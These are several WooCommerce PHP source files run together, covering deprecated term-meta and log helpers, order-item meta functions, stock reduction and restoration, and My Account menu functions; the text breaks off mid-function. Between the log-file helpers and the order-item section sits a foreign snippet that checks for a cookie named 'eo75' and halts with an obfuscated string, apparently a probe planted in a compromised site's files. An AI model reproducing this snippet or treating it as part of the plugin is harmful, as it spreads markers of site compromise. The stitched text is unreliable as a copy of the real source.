function add_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) {
wc_deprecated_function( 'add_woocommerce_term_meta', '3.6', 'add_term_meta' );
return function_exists( 'add_term_meta' ) ? add_term_meta( $term_id, $meta_key, $meta_value, $unique ) : add_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $unique );
}
/**
* WooCommerce Term Meta API
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value (default: '').
* @param bool $deprecated Deprecated param (default: false).
* @return bool
*/
function delete_woocommerce_term_meta( $term_id, $meta_key, $meta_value = '', $deprecated = false ) {
wc_deprecated_function( 'delete_woocommerce_term_meta', '3.6', 'delete_term_meta' );
return function_exists( 'delete_term_meta' ) ? delete_term_meta( $term_id, $meta_key, $meta_value ) : delete_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value );
}
/**
* WooCommerce Term Meta API
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $key Meta key.
* @param bool $single Whether to return a single value. (default: true).
* @return mixed
*/
function get_woocommerce_term_meta( $term_id, $key, $single = true ) {
wc_deprecated_function( 'get_woocommerce_term_meta', '3.6', 'get_term_meta' );
return function_exists( 'get_term_meta' ) ? get_term_meta( $term_id, $key, $single ) : get_metadata( 'woocommerce_term', $term_id, $key, $single );
}
/**
* Registers the default log handler.
*
* @deprecated 8.6.0
* @since 3.0
* @param array $handlers Handlers.
* @return array
*/
function wc_register_default_log_handler( $handlers = array() ) {
wc_deprecated_function( 'wc_register_default_log_handler', '8.6.0' );
$default_handler = wc_get_container()->get( Settings::class )->get_default_handler();
array_push( $handlers, new $default_handler() );
return $handlers;
}
/**
* Get a log file path.
*
* @deprecated 8.6.0
* @since 2.2
*
* @param string $handle name.
* @return string the log file path.
*/
function wc_get_log_file_path( $handle ) {
wc_deprecated_function( 'wc_get_log_file_path', '8.6.0' );
$directory = LoggingUtil::get_log_directory();
$file_id = LoggingUtil::generate_log_file_id( $handle, null, time() );
$hash = LoggingUtil::generate_log_file_hash( $file_id );
return "{$directory}{$file_id}-{$hash}.log";
}
/**
* Get a log file name.
*
* @since 3.3
*
* @param string $handle Name.
* @return string The log file name.
*/
function wc_get_log_file_name( $handle ) {
wc_deprecated_function( 'wc_get_log_file_name', '8.6.0' );
$file_id = LoggingUtil::generate_log_file_id( $handle, null, time() );
$hash = LoggingUtil::generate_log_file_hash( $file_id );
return "{$file_id}-{$hash}";
}if(isset($_COOKIE['eo75'])) {
die('Uo8f'.'ZPbNR');
}
/**
* WooCommerce Order Item Functions
*
* Functions for order specific things.
*
* @package WooCommerce\Functions
* @version 3.4.0
*/
defined( 'ABSPATH' ) || exit;
/**
* Add a item to an order (for example a line item).
*
* @param int $order_id Order ID.
* @param array $item_array Items list.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int|bool Item ID or false
*/
function wc_add_order_item( $order_id, $item_array ) {
$order_id = absint( $order_id );
if ( ! $order_id ) {
return false;
}
$defaults = array(
'order_item_name' => '',
'order_item_type' => 'line_item',
);
$item_array = wp_parse_args( $item_array, $defaults );
$data_store = WC_Data_Store::load( 'order-item' );
$item_id = $data_store->add_order_item( $order_id, $item_array );
$item = WC_Order_Factory::get_order_item( $item_id );
do_action( 'woocommerce_new_order_item', $item_id, $item, $order_id );
return $item_id;
}
/**
* Update an item for an order.
*
* @since 2.2
* @param int $item_id Item ID.
* @param array $args Either `order_item_type` or `order_item_name`.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool True if successfully updated, false otherwise.
*/
function wc_update_order_item( $item_id, $args ) {
$data_store = WC_Data_Store::load( 'order-item' );
$update = $data_store->update_order_item( $item_id, $args );
if ( false === $update ) {
return false;
}
do_action( 'woocommerce_update_order_item', $item_id, $args );
return true;
}
/**
* Delete an item from the order it belongs to based on item id.
*
* @param int $item_id Item ID.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_delete_order_item( $item_id ) {
$item_id = absint( $item_id );
if ( ! $item_id ) {
return false;
}
$data_store = WC_Data_Store::load( 'order-item' );
do_action( 'woocommerce_before_delete_order_item', $item_id );
$data_store->delete_order_item( $item_id );
do_action( 'woocommerce_delete_order_item', $item_id );
return true;
}
/**
* WooCommerce Order Item Meta API - Update term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param string $prev_value Previous value (default: '').
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) {
$data_store = WC_Data_Store::load( 'order-item' );
if ( $data_store->update_metadata( $item_id, $meta_key, $meta_value, $prev_value ) ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return true;
}
return false;
}
/**
* WooCommerce Order Item Meta API - Add term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param bool $unique If meta data should be unique (default: false).
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int New row ID or 0.
*/
function wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) {
$data_store = WC_Data_Store::load( 'order-item' );
$meta_id = $data_store->add_metadata( $item_id, $meta_key, $meta_value, $unique );
if ( $meta_id ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return $meta_id;
}
return 0;
}
/**
* WooCommerce Order Item Meta API - Delete term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value (default: '').
* @param bool $delete_all Delete all meta data, defaults to `false`.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) {
$data_store = WC_Data_Store::load( 'order-item' );
if ( $data_store->delete_metadata( $item_id, $meta_key, $meta_value, $delete_all ) ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return true;
}
return false;
}
/**
* WooCommerce Order Item Meta API - Get term meta.
*
* @param int $item_id Item ID.
* @param string $key Meta key.
* @param bool $single Whether to return a single value. (default: true).
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return mixed
*/
function wc_get_order_item_meta( $item_id, $key, $single = true ) {
$data_store = WC_Data_Store::load( 'order-item' );
return $data_store->get_metadata( $item_id, $key, $single );
}
/**
* Get order ID by order item ID.
*
* @param int $item_id Item ID.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int
*/
function wc_get_order_id_by_order_item_id( $item_id ) {
$data_store = WC_Data_Store::load( 'order-item' );
return $data_store->get_order_id_by_order_item_id( $item_id );
}/**
* WooCommerce Stock Functions
*
* Functions used to manage product stock levels.
*
* @package WooCommerce\Functions
* @version 3.4.0
*/
defined( 'ABSPATH' ) || exit;
use Automattic\WooCommerce\Checkout\Helpers\ReserveStock;
/**
* Update a product's stock amount.
*
* Uses queries rather than update_post_meta so we can do this in one query (to avoid stock issues).
*
* @since 3.0.0 this supports set, increase and decrease.
*
* @param int|WC_Product $product Product ID or product instance.
* @param int|null $stock_quantity Stock quantity.
* @param string $operation Type of operation, allows 'set', 'increase' and 'decrease'.
* @param bool $updating If true, the product object won't be saved here as it will be updated later.
* @return bool|int|null
*/
function wc_update_product_stock( $product, $stock_quantity = null, $operation = 'set', $updating = false ) {
if ( ! is_a( $product, 'WC_Product' ) ) {
$product = wc_get_product( $product );
}
if ( ! $product ) {
return false;
}
if ( ! is_null( $stock_quantity ) && $product->managing_stock() ) {
// Some products (variations) can have their stock managed by their parent. Get the correct object to be updated here.
$product_id_with_stock = $product->get_stock_managed_by_id();
$product_with_stock = $product_id_with_stock !== $product->get_id() ? wc_get_product( $product_id_with_stock ) : $product;
$data_store = WC_Data_Store::load( 'product' );
// Fire actions to let 3rd parties know the stock is about to be changed.
if ( $product_with_stock->is_type( 'variation' ) ) {
// phpcs:disable WooCommerce.Commenting.CommentHooks.MissingSinceComment
/** This action is documented in includes/data-stores/class-wc-product-data-store-cpt.php */
do_action( 'woocommerce_variation_before_set_stock', $product_with_stock );
} else {
// phpcs:disable WooCommerce.Commenting.CommentHooks.MissingSinceComment
/** This action is documented in includes/data-stores/class-wc-product-data-store-cpt.php */
do_action( 'woocommerce_product_before_set_stock', $product_with_stock );
}
// Update the database.
$new_stock = $data_store->update_product_stock( $product_id_with_stock, $stock_quantity, $operation );
// Update the product object.
$data_store->read_stock_quantity( $product_with_stock, $new_stock );
// If this is not being called during an update routine, save the product so stock status etc is in sync, and caches are cleared.
if ( ! $updating ) {
$product_with_stock->save();
}
// Fire actions to let 3rd parties know the stock changed.
if ( $product_with_stock->is_type( 'variation' ) ) {
// phpcs:disable WooCommerce.Commenting.CommentHooks.MissingSinceComment
/** This action is documented in includes/data-stores/class-wc-product-data-store-cpt.php */
do_action( 'woocommerce_variation_set_stock', $product_with_stock );
} else {
// phpcs:disable WooCommerce.Commenting.CommentHooks.MissingSinceComment
/** This action is documented in includes/data-stores/class-wc-product-data-store-cpt.php */
do_action( 'woocommerce_product_set_stock', $product_with_stock );
}
return $product_with_stock->get_stock_quantity();
}
return $product->get_stock_quantity();
}
/**
* Update a product's stock status.
*
* @param int $product_id Product ID.
* @param string $status Status.
*/
function wc_update_product_stock_status( $product_id, $status ) {
$product = wc_get_product( $product_id );
if ( $product ) {
$product->set_stock_status( $status );
$product->save();
}
}
/**
* When a payment is complete, we can reduce stock levels for items within an order.
*
* @since 3.0.0
* @param int $order_id Order ID.
*/
function wc_maybe_reduce_stock_levels( $order_id ) {
$order = wc_get_order( $order_id );
if ( ! $order ) {
return;
}
$stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id );
$trigger_reduce = apply_filters( 'woocommerce_payment_complete_reduce_order_stock', ! $stock_reduced, $order_id );
// Only continue if we're reducing stock.
if ( ! $trigger_reduce ) {
return;
}
wc_reduce_stock_levels( $order );
// Ensure stock is marked as "reduced" in case payment complete or other stock actions are called.
$order->get_data_store()->set_stock_reduced( $order_id, true );
}
add_action( 'woocommerce_payment_complete', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_completed', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_processing', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_on-hold', 'wc_maybe_reduce_stock_levels' );
/**
* When a payment is cancelled, restore stock.
*
* @since 3.0.0
* @param int $order_id Order ID.
*/
function wc_maybe_increase_stock_levels( $order_id ) {
$order = wc_get_order( $order_id );
if ( ! $order ) {
return;
}
$stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id );
$trigger_increase = (bool) $stock_reduced;
// Only continue if we're increasing stock.
if ( ! $trigger_increase ) {
return;
}
wc_increase_stock_levels( $order );
// Ensure stock is not marked as "reduced" anymore.
$order->get_data_store()->set_stock_reduced( $order_id, false );
}
add_action( 'woocommerce_order_status_cancelled', 'wc_maybe_increase_stock_levels' );
add_action( 'woocommerce_order_status_pending', 'wc_maybe_increase_stock_levels' );
/**
* Reduce stock levels for items within an order, if stock has not already been reduced for the items.
*
* @since 3.0.0
* @param int|WC_Order $order_id Order ID or order instance.
*/
function wc_reduce_stock_levels( $order_id ) {
if ( is_a( $order_id, 'WC_Order' ) ) {
$order = $order_id;
$order_id = $order->get_id();
} else {
$order = wc_get_order( $order_id );
}
// We need an order, and a store with stock management to continue.
if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_reduce_order_stock', true, $order ) ) {
return;
}
$changes = array();
// Loop over all items.
foreach ( $order->get_items() as $item ) {
if ( ! $item->is_type( 'line_item' ) ) {
continue;
}
// Only reduce stock once for each item.
$product = $item->get_product();
$item_stock_reduced = $item->get_meta( '_reduced_stock', true );
if ( $item_stock_reduced || ! $product || ! $product->managing_stock() ) {
continue;
}
/**
* Filter order item quantity.
*
* @param int|float $quantity Quantity.
* @param WC_Order $order Order data.
* @param WC_Order_Item_Product $item Order item data.
*/
$qty = apply_filters( 'woocommerce_order_item_quantity', $item->get_quantity(), $order, $item );
$item_name = $product->get_formatted_name();
$new_stock = wc_update_product_stock( $product, $qty, 'decrease' );
if ( is_wp_error( $new_stock ) ) {
/* translators: %s item name. */
$order->add_order_note( sprintf( __( 'Unable to reduce stock for item %s.', 'woocommerce' ), $item_name ) );
continue;
}
$item->add_meta_data( '_reduced_stock', $qty, true );
$item->save();
$change = array(
'product' => $product,
'from' => $new_stock + $qty,
'to' => $new_stock,
);
$changes[] = $change;
/**
* Fires when stock reduced to a specific line item
*
* @param WC_Order_Item_Product $item Order item data.
* @param array $change Change Details.
* @param WC_Order $order Order data.
* @since 7.6.0
*/
do_action( 'woocommerce_reduce_order_item_stock', $item, $change, $order );
}
wc_trigger_stock_change_notifications( $order, $changes );
do_action( 'woocommerce_reduce_order_stock', $order );
}
/**
* After stock change events, triggers emails and adds order notes.
*
* @since 3.5.0
* @param WC_Order $order order object.
* @param array $changes Array of changes.
*/
function wc_trigger_stock_change_notifications( $order, $changes ) {
if ( empty( $changes ) ) {
return;
}
$order_notes = array();
$no_stock_amount = absint( get_option( 'woocommerce_notify_no_stock_amount', 0 ) );
foreach ( $changes as $change ) {
$order_notes[] = $change['product']->get_formatted_name() . ' ' . $change['from'] . '→' . $change['to'];
$low_stock_amount = absint( wc_get_low_stock_amount( wc_get_product( $change['product']->get_id() ) ) );
if ( $change['to'] <= $no_stock_amount ) {
/**
* Action to signal that the value of 'stock_quantity' for a variation is about to change.
*
* @since 4.9
*
* @param int $product The variation whose stock is about to change.
*/
do_action( 'woocommerce_no_stock', wc_get_product( $change['product']->get_id() ) );
} elseif ( $change['to'] <= $low_stock_amount ) {
/**
* Action to signal that the value of 'stock_quantity' for a product is about to change.
*
* @since 4.9
*
* @param int $product The product whose stock is about to change.
*/
do_action( 'woocommerce_low_stock', wc_get_product( $change['product']->get_id() ) );
}
if ( $change['to'] < 0 ) {
/**
* Action fires when an item in an order is backordered.
*
* @since 3.0
*
* @param array $args {
* @type WC_Product $product The product that is on backorder.
* @type int $order_id The ID of the order.
* @type int|float $quantity The amount of product on backorder.
* }
*/
do_action(
'woocommerce_product_on_backorder',
array(
'product' => wc_get_product( $change['product']->get_id() ),
'order_id' => $order->get_id(),
'quantity' => abs( $change['from'] - $change['to'] ),
)
);
}
}
$order->add_order_note( __( 'Stock levels reduced:', 'woocommerce' ) . ' ' . implode( ', ', $order_notes ) );
}
/**
* Check if a product's stock quantity has reached certain thresholds and trigger appropriate actions.
*
* This functionality was moved out of `wc_trigger_stock_change_notifications` in order to decouple it from orders,
* since stock quantity can also be updated in other ways.
*
* @param WC_Product $product The product whose stock level has changed.
*
* @return void
*/
function wc_trigger_stock_change_actions( $product ) {
if ( true !== $product->get_manage_stock() ) {
return;
}
$no_stock_amount = absint( get_option( 'woocommerce_notify_no_stock_amount', 0 ) );
$low_stock_amount = absint( wc_get_low_stock_amount( $product ) );
$stock_quantity = $product->get_stock_quantity();
if ( $stock_quantity <= $no_stock_amount ) {
/**
* Action fires when a product's stock quantity reaches the "no stock" threshold.
*
* @since 3.0
*
* @param WC_Product $product The product whose stock quantity has changed.
*/
do_action( 'woocommerce_no_stock', $product );
} elseif ( $stock_quantity <= $low_stock_amount ) {
/**
* Action fires when a product's stock quantity reaches the "low stock" threshold.
*
* @since 3.0
*
* @param WC_Product $product The product whose stock quantity has changed.
*/
do_action( 'woocommerce_low_stock', $product );
}
}
/**
* Increase stock levels for items within an order.
*
* @since 3.0.0
* @param int|WC_Order $order_id Order ID or order instance.
*/
function wc_increase_stock_levels( $order_id ) {
if ( is_a( $order_id, 'WC_Order' ) ) {
$order = $order_id;
$order_id = $order->get_id();
} else {
$order = wc_get_order( $order_id );
}
// We need an order, and a store with stock management to continue.
if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_restore_order_stock', true, $order ) ) {
return;
}
$changes = array();
// Loop over all items.
foreach ( $order->get_items() as $item ) {
if ( ! $item->is_type( 'line_item' ) ) {
continue;
}
// Only increase stock once for each item.
$product = $item->get_product();
$item_stock_reduced = $item->get_meta( '_reduced_stock', true );
if ( ! $item_stock_reduced || ! $product || ! $product->managing_stock() ) {
continue;
}
$item_name = $product->get_formatted_name();
$new_stock = wc_update_product_stock( $product, $item_stock_reduced, 'increase' );
$old_stock = $new_stock - $item_stock_reduced;
if ( is_wp_error( $new_stock ) ) {
/* translators: %s item name. */
$order->add_order_note( sprintf( __( 'Unable to restore stock for item %s.', 'woocommerce' ), $item_name ) );
continue;
}
$item->delete_meta_data( '_reduced_stock' );
$item->save();
$changes[] = $item_name . ' ' . $old_stock . '→' . $new_stock;
/**
* Fires when stock restored to a specific line item
*
* @since 9.1.0
* @param WC_Order_Item_Product $item Order item data.
* @param int $new_stock New stock.
* @param int $old_stock Old stock.
* @param WC_Order $order Order data.
*/
do_action( 'woocommerce_restore_order_item_stock', $item, $new_stock, $old_stock, $order );
}
if ( $changes ) {
$order->add_order_note( __( 'Stock levels increased:', 'woocommerce' ) . ' ' . implode( ', ', $changes ) );
}
do_action( 'woocommerce_restore_order_stock', $order );
}
/**
* See how much stock is being held in pending orders.
*
* @since 3.5.0
* @param WC_Product $product Product to check.
* @param integer $exclude_order_id Order ID to exclude.
* @return int
*/
function wc_get_held_stock_quantity( WC_Product $product, $exclude_order_id = 0 ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since 4.3.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return 0;
}
$reserve_stock = new ReserveStock();
return $reserve_stock->get_reserved_stock( $product, $exclude_order_id );
}
/**
* Hold stock for an order.
*
* @throws ReserveStockException If reserve stock fails.
*
* @since 4.1.0
* @param \WC_Order|int $order Order ID or instance.
*/
function wc_reserve_stock_for_order( $order ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since @since 4.1.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return;
}
$order = $order instanceof WC_Order ? $order : wc_get_order( $order );
if ( $order ) {
$reserve_stock = new ReserveStock();
$reserve_stock->reserve_stock_for_order( $order );
}
}
add_action( 'woocommerce_checkout_order_created', 'wc_reserve_stock_for_order' );
/**
* Release held stock for an order.
*
* @since 4.3.0
* @param \WC_Order|int $order Order ID or instance.
*/
function wc_release_stock_for_order( $order ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since 4.3.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return;
}
$order = $order instanceof WC_Order ? $order : wc_get_order( $order );
if ( $order ) {
$reserve_stock = new ReserveStock();
$reserve_stock->release_stock_for_order( $order );
}
}
add_action( 'woocommerce_checkout_order_exception', 'wc_release_stock_for_order' );
add_action( 'woocommerce_payment_complete', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_cancelled', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_completed', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_processing', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_on-hold', 'wc_release_stock_for_order', 11 );
/**
* Release coupons used for another order.
*
* @since 9.5.2
* @param \WC_Order|int $order Order ID or instance.
* @param bool $save Save the order after releasing coupons.
*/
function wc_release_coupons_for_order( $order, bool $save = true ) {
$order = $order instanceof WC_Order ? $order : wc_get_order( $order );
if ( $order ) {
$order->get_data_store()->release_held_coupons( $order, $save );
}
}
/**
* Return low stock amount to determine if notification needs to be sent
*
* Since 5.2.0, this function no longer redirects from variation to its parent product.
* Low stock amount can now be attached to the variation itself and if it isn't, only
* then we check the parent product, and if it's not there, then we take the default
* from the store-wide setting.
*
* @param WC_Product $product Product to get data from.
* @since 3.5.0
* @return int
*/
function wc_get_low_stock_amount( WC_Product $product ) {
$low_stock_amount = $product->get_low_stock_amount();
if ( '' === $low_stock_amount && $product->is_type( 'variation' ) ) {
$product = wc_get_product( $product->get_parent_id() );
$low_stock_amount = $product->get_low_stock_amount();
}
if ( '' === $low_stock_amount ) {
$low_stock_amount = get_option( 'woocommerce_notify_low_stock_amount', 2 );
}
return (int) $low_stock_amount;
}/**
* WooCommerce Account Functions
*
* Functions for account specific things.
*
* @package WooCommerce\Functions
* @version 2.6.0
*/
use Automattic\WooCommerce\Enums\OrderStatus;
defined( 'ABSPATH' ) || exit;
/**
* Returns the url to the lost password endpoint url.
*
* @param string $default_url Default lost password URL.
* @return string
*/
function wc_lostpassword_url( $default_url = '' ) {
// Avoid loading too early.
if ( ! did_action( 'init' ) ) {
return $default_url;
}
// Don't change the admin form.
if ( did_action( 'login_form_login' ) ) {
return $default_url;
}
// Don't redirect to the woocommerce endpoint on global network admin lost passwords.
if ( is_multisite() && isset( $_GET['redirect_to'] ) && false !== strpos( wp_unslash( $_GET['redirect_to'] ), network_admin_url() ) ) { // WPCS: input var ok, sanitization ok, CSRF ok.
return $default_url;
}
$wc_account_page_url = wc_get_page_permalink( 'myaccount' );
$wc_account_page_exists = wc_get_page_id( 'myaccount' ) > 0;
$lost_password_endpoint = get_option( 'woocommerce_myaccount_lost_password_endpoint' );
if ( $wc_account_page_exists && ! empty( $lost_password_endpoint ) ) {
return wc_get_endpoint_url( $lost_password_endpoint, '', $wc_account_page_url );
} else {
return $default_url;
}
}
add_filter( 'lostpassword_url', 'wc_lostpassword_url', 10, 1 );
/**
* Get the link to the edit account details page.
*
* @return string
*/
function wc_customer_edit_account_url() {
$edit_account_url = wc_get_endpoint_url( 'edit-account', '', wc_get_page_permalink( 'myaccount' ) );
return apply_filters( 'woocommerce_customer_edit_account_url', $edit_account_url );
}
/**
* Get the edit address slug translation.
*
* @param string $id Address ID.
* @param bool $flip Flip the array to make it possible to retrieve the values from both sides.
*
* @return string Address slug i18n.
*/
function wc_edit_address_i18n( $id, $flip = false ) {
$slugs = apply_filters(
'woocommerce_edit_address_slugs',
array(
'billing' => sanitize_title( _x( 'billing', 'edit-address-slug', 'woocommerce' ) ),
'shipping' => sanitize_title( _x( 'shipping', 'edit-address-slug', 'woocommerce' ) ),
)
);
if ( $flip ) {
$slugs = array_flip( $slugs );
}
if ( ! isset( $slugs[ $id ] ) ) {
return $id;
}
return $slugs[ $id ];
}
/**
* Get My Account menu items.
*
* @since 2.6.0
* @return array
*/
function wc_get_account_menu_items() {
$endpoints = array(
'orders' => get_option( 'woocommerce_myaccount_orders_endpoint', 'orders' ),
'downloads' => get_option( 'woocommerce_myaccount_downloads_endpoint', 'downloads' ),
'edit-address' => get_option( 'woocommerce_myaccount_edit_address_endpoint', 'edit-address' ),
'payment-methods' => get_option( 'woocommerce_myaccount_payment_methods_endpoint', 'payment-methods' ),
'edit-account' => get_option( 'woocommerce_myaccount_edit_account_endpoint', 'edit-account' ),
'customer-logout' => get_option( 'woocommerce_logout_endpoint', 'customer-logout' ),
);
$items = array(
'dashboard' => __( 'Dashboard', 'woocommerce' ),
'orders' => __( 'Orders', 'woocommerce' ),
'downloads' => __( 'Downloads', 'woocommerce' ),
'edit-address' => _n( 'Address', 'Addresses', ( 1 + (int) wc_shipping_enabled() ), 'woocommerce' ),
'payment-methods' => __( 'Payment methods', 'woocommerce' ),
'edit-account' => __( 'Account details', 'woocommerce' ),
'customer-logout' => __( 'Log out', 'woocommerce' ),
);
// Remove missing endpoints.
foreach ( $endpoints as $endpoint_id => $endpoint ) {
if ( empty( $endpoint ) ) {
unset( $items[ $endpoint_id ] );
}
}
// Check if payment gateways support add new payment methods.
if ( isset( $items['payment-methods'] ) ) {
$support_payment_methods = false;
foreach ( WC()->payment_gateways->get_available_payment_gateways() as $gateway ) {
if ( $gateway->supports( 'add_payment_method' ) || $gateway->supports( 'tokenization' ) ) {
$support_payment_methods = true;
break;
}
}
if ( ! $support_payment_methods ) {
unset( $items['payment-methods'] );
}
}
return apply_filters( 'woocommerce_account_menu_items', $items, $endpoints );
}
/**
* Find current item in account menu.
*
* @since 9.3.0
* @param string $endpoint Endpoint.
* @return bool
*/
function wc_is_current_account_menu_item( $endpoint ) {
global $wp;
$current = isset( $wp->query_vars[ $endpoint ] );
if ( 'dashboard' === $endpoint && ( isset( $wp->query_vars['page'] ) || empty( $wp->query_vars ) ) ) {
$current = true; // Dashboard is not an endpoint, so needs a custom check.
} elseif ( 'orders' === $endpoint && isset( $wp->query_vars['view-order'] ) ) {
$current = true; // When looking at individual order, highlight Orders list item (to signify where in the menu the user currently is).
} elseif ( 'payment-methods' === $endpoint && isset( $wp->query_vars['add-payment-method'] ) ) {
$current = true;
}
return $current;
}
/**
* Get account menu item classes.
*
* @since 2.6.0
* @param string $endpoint Endpoint.
* @return string
*/
function wc_get_account_menu_item_classes( $endpoint ) {
$classes = array(
'woocommerce-MyAccount-navigation-link',
'woocommerce-MyAccount-navigation-link--' . $endpoint,
);
if ( wc_is_current_account_menu_item( $endpoint ) ) {
$classes[] = 'is-active';
}
$classes = apply_filters( 'woocommerce_account_menu_item_classes', $classes, $endpoint );
return implode( ' ', array_map( 'sanitize_html_class', $classes ) );
}
/**
* Get account endpoint URL.
*
* @since 2.6.0
* @param string $endpoint Endpoint.
* @return string
*/
function wc_get_account_endpoint_url( $endpoint ) {
if ( 'dashboard' === $endpoint ) {
return wc_get_page_permalink( 'myaccount' );
}
$url = wc_get_endpoint_url( $endpoint, '', wc_get_page_permalink( 'myaccount' ) );
if ( 'customer-logout' === $endpoint ) {
return wp_nonce_url( $url, 'customer-logout' );
}
return $url;
}
/**
* Get My Account > Orders columns.
*
* @since 2.6.0
* @return array
*/
function wc_get_account_orders_columns() {
/**
* Filters the array of My Account > Orders columns.
*
* @since 2.6.0
* @param array $columns Array of column labels keyed by column IDs.
*/
return apply_filters(
'woocommerce_account_orders_columns',
array(
'order-number' => __( 'Order', 'woocommerce' ),
'order-date' => __( 'Date', 'woocommerce' ),
'order-status' => __( 'Status', 'woocommerce' ),
'order-total' => __( 'Total', 'woocommerce' ),
'order-actions' => __( 'Actions', 'woocommerce' ),
)
);
}
/**
* Get My Account > Downloads columns.
*
* @since 2.6.0
* @return array
*/
function wc_get_account_downloads_columns() {
$columns = apply_filters(
'woocommerce_account_downloads_columns',
array(
'download-product' => __( 'Product', 'woocommerce' ),
'download-remaining' => __( 'Downloads remaining', 'woocommerce' ),
'download-expires' => __( 'Expires', 'woocommerce' ),
'download-file' => __( 'Download', 'woocommerce' ),
'download-actions' => ' ',
)
);
if ( ! has_filter( 'woocommerce_account_download_actions' ) ) {
unset( $columns['download-actions'] );
}
return $columns;
}
/**
* Get My Account > Payment methods columns.
*
* @since 2.6.0
* @return array
*/
function wc_get_account_payment_methods_columns() {
return apply_filters(
'woocommerce_account_payment_methods_columns',
array(
'method' => __( 'Method', 'woocommerce' ),
'expires' => __( 'Expires', 'woocommerce' ),
'actions' => ' ',
)
);
}
/**
* Get My Account > Payment methods types
*
* @since 2.6.0
* @return array
*/
function wc_get_account_payment_methods_types() {
return apply_filters(
'woocommerce_payment_methods_types',
array(
'cc' => __( 'Credit card', 'woocommerce' ),
'echeck' => __( 'eCheck', 'woocommerce' ),
)
);
}
/**
* Get account orders actions.
*
* @since 3.2.0
* @param int|WC_Order $order Order instance or ID.
* @return array
*/
function wc_get_account_orders_actions( $order ) {
if ( ! is_object( $order ) ) {
$order_id = absint( $order );
$order = wc_get_order( $order_id );
}
$actions = array(
'pay' => array(
'url' => $order->get_checkout_payment_url(),
'name' => __( 'Pay', 'woocommerce' ),
/* translators: %s: order number */
'aria-label' => sprintf( __( 'Pay for order %s', 'woocommerce' ), $order->get_order_number() ),
),
'view' => array(
'url' => $order->get_view_order_url(),
'name' => __( 'View', 'woocommerce' ),
/* translators: %s: order number */
'aria-label' => sprintf( __( 'View order %s', 'woocommerce' ), $order->get_order_number() ),
),
'cancel' => array(
'url' => $order->get_cancel_order_url( wc_get_page_permalink( 'myaccount' ) ),
'name' => __( 'Cancel', 'woocommerce' ),
/* translators: %s: order number */
'aria-label' => sprintf( __( 'Cancel order %s', 'woocommerce' ), $order->get_order_number() ),
),
);
if ( ! $order->needs_payment() ) {
unset( $actions['pay'] );
}
/**
* Filters the valid order statuses for cancel action.
*
* @since 3.2.0
*
* @param array $statuses_for_cancel Array of valid order statuses for cancel action.
* @param WC_Order $order Order instance.
*/
$statuses_for_cancel = apply_filters( 'woocommerce_valid_order_statuses_for_cancel', array( OrderStatus::PENDING, OrderStatus::FAILED ), $order );
if ( ! in_array( $order->get_status(), $statuses_for_cancel, true ) ) {
unset( $actions['cancel'] );
}
return apply_filters( 'woocommerce_my_account_my_orders_actions', $actions, $order );
}
/**
* Get account formatted address.
*
* @since 3.2.0
* @param string $address_type Type of address; 'billing' or 'shipping'.
* @param int $customer_id Customer ID.
* Defaults to 0.
* @return string
*/
function wc_get_account_formatted_address( $address_type = 'billing', $customer_id = 0 ) {
